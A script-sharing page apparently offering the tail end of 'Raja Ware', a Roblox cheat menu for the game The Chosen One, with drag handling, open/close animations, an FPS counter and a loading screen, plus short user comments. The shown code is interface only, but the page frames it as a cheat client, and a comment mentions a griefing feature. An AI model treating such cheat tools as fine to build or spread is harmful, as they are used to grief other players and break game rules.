tsub.Position = UDim2.new(0,0,0.58,0)
tsub.BackgroundTransparency = 1
tsub.Text = "MENU"
tsub.TextColor3 = Color3.fromRGB(72,72,72)
tsub.Font = Enum.Font.GothamBold
tsub.TextSize = 8
tsub.ZIndex = 11

-- DRAG
local tDrag, tDS, tSP, tWD = false, nil, nil, false
local fDrag, fDS, fSP = false, nil, nil
toggleBtn.InputBegan:Connect(function(i)
    if i.UserInputType == Enum.UserInputType.MouseButton1 or i.UserInputType == Enum.UserInputType.Touch then
        tDrag = true; tWD = false; tDS = i.Position; tSP = toggleBtn.Position
    end
end)
toggleBtn.InputEnded:Connect(function() tDrag = false end)
topBar.InputBegan:Connect(function(i)
    if i.UserInputType == Enum.UserInputType.MouseButton1 or i.UserInputType == Enum.UserInputType.Touch then
        fDrag = true; fDS = i.Position; fSP = frame.Position
    end
end)
topBar.InputEnded:Connect(function() fDrag = false end)
UserInputService.InputChanged:Connect(function(i)
    if i.UserInputType == Enum.UserInputType.MouseMovement or i.UserInputType == Enum.UserInputType.Touch then
        if tDrag and tDS and tSP then
            local d = i.Position - tDS
            if d.Magnitude > 2 then tWD = true end
            toggleBtn.Position = UDim2.new(tSP.X.Scale, tSP.X.Offset + d.X, tSP.Y.Scale, tSP.Y.Offset + d.Y)
        end
        if fDrag and fDS and fSP then
            local d = i.Position - fDS
            frame.Position = UDim2.new(fSP.X.Scale, fSP.X.Offset + d.X, fSP.Y.Scale, fSP.Y.Offset + d.Y)
        end
    end
end)

local guiOpen = false
function openAnim()
    frame.Visible = true
    frame.BackgroundTransparency = 1
    frame.Size = UDim2.new(0, FW, 0, 0)
    frame.Position = UDim2.new(0.5, -(FW/2), 0.5, 0)
    openSound:Play()
    TweenService:Create(frame, TweenInfo.new(0.24, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {
        Size = UDim2.new(0, FW, 0, FH),
        Position = UDim2.new(0.5, -(FW/2), 0.5, -(FH/2)),
        BackgroundTransparency = 0
    }):Play()
end
function closeAnim(cb)
    closeSound:Play()
    TweenService:Create(frame, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.In), {
        Size = UDim2.new(0, FW, 0, 0),
        Position = UDim2.new(0.5, -(FW/2), 0.5, 0),
        BackgroundTransparency = 1
    }):Play()
    task.wait(0.18)
    frame.Visible = false
    if cb then cb() end
end
toggleBtn.MouseButton1Click:Connect(function()
    if tWD then return end
    clickSound:Play()
    if guiOpen then closeAnim(function() guiOpen = false end) else openAnim(); guiOpen = true end
end)
closeBtn.MouseButton1Click:Connect(function()
    clickSound:Play()
    closeAnim(function() guiOpen = false end)
end)

-- FPS COUNTER
local fc, lt = 0, tick()
RunService.RenderStepped:Connect(function()
    fc = fc + 1
    if tick() - lt >= 1 then
        fpsLabel.Text = "FPS:" .. fc
        plrsLabel.Text = "PLRS:" .. #Players:GetPlayers()
        fc = 0
        lt = tick()
    end
end)

-- LOAD SCREEN FINISH
task.spawn(function()
    for i, s in ipairs(lsSteps) do
        loadStatus.Text = s.text
        TweenService:Create(progressFill, TweenInfo.new(0.28, Enum.EasingStyle.Quad), {Size = UDim2.new(i / #lsSteps, 0, 1, 0)}):Play()
        task.wait(0.38)
    end
    vineSound:Play()
    task.wait(0.4)
    TweenService:Create(loadScreen, TweenInfo.new(0.32, Enum.EasingStyle.Quad), {BackgroundTransparency = 1}):Play()
    task.wait(0.32)
    loadScreen:Destroy()
    task.wait(0.4)
    showNotif("✦ RAJA WARE V1 TCO EDITION LOADED", Color3.fromRGB(255,80,0))
    if player.Name == OWNER_NAME then
        task.wait(0.9)
        showNotif("👑 WELCOME BACK, OWNER", Color3.fromRGB(255,160,0))
    end
end)

print("RAJA WARE V1 TCO EDITION LOADED - Owner:", OWNER_NAME)
print("Credits: Agarv | for helping me")

Features & Information

open sourced the chosen one script
#the chosen one#raja ware#tco#open source#deobfuscator

Community Comments (7)

sosbosssosbossMay 27, 2026

Great job boi

sosbosssosbossMay 27, 2026

Btw bro

sosbosssosbossMay 27, 2026(edited)

Can u tell ur user on discord server

sosbosssosbossMay 27, 2026

I need ur deobfuscater for sure bro

IamNikolaTeslaIamNikolaTeslaJun 17, 2026

AI Slop LOL

IamNikolaTeslaIamNikolaTeslaJun 17, 2026

The grief aura *

GermilnsGermilnsOct 3, 2026

Imagine Using Ai

More Scripts for The Chosen One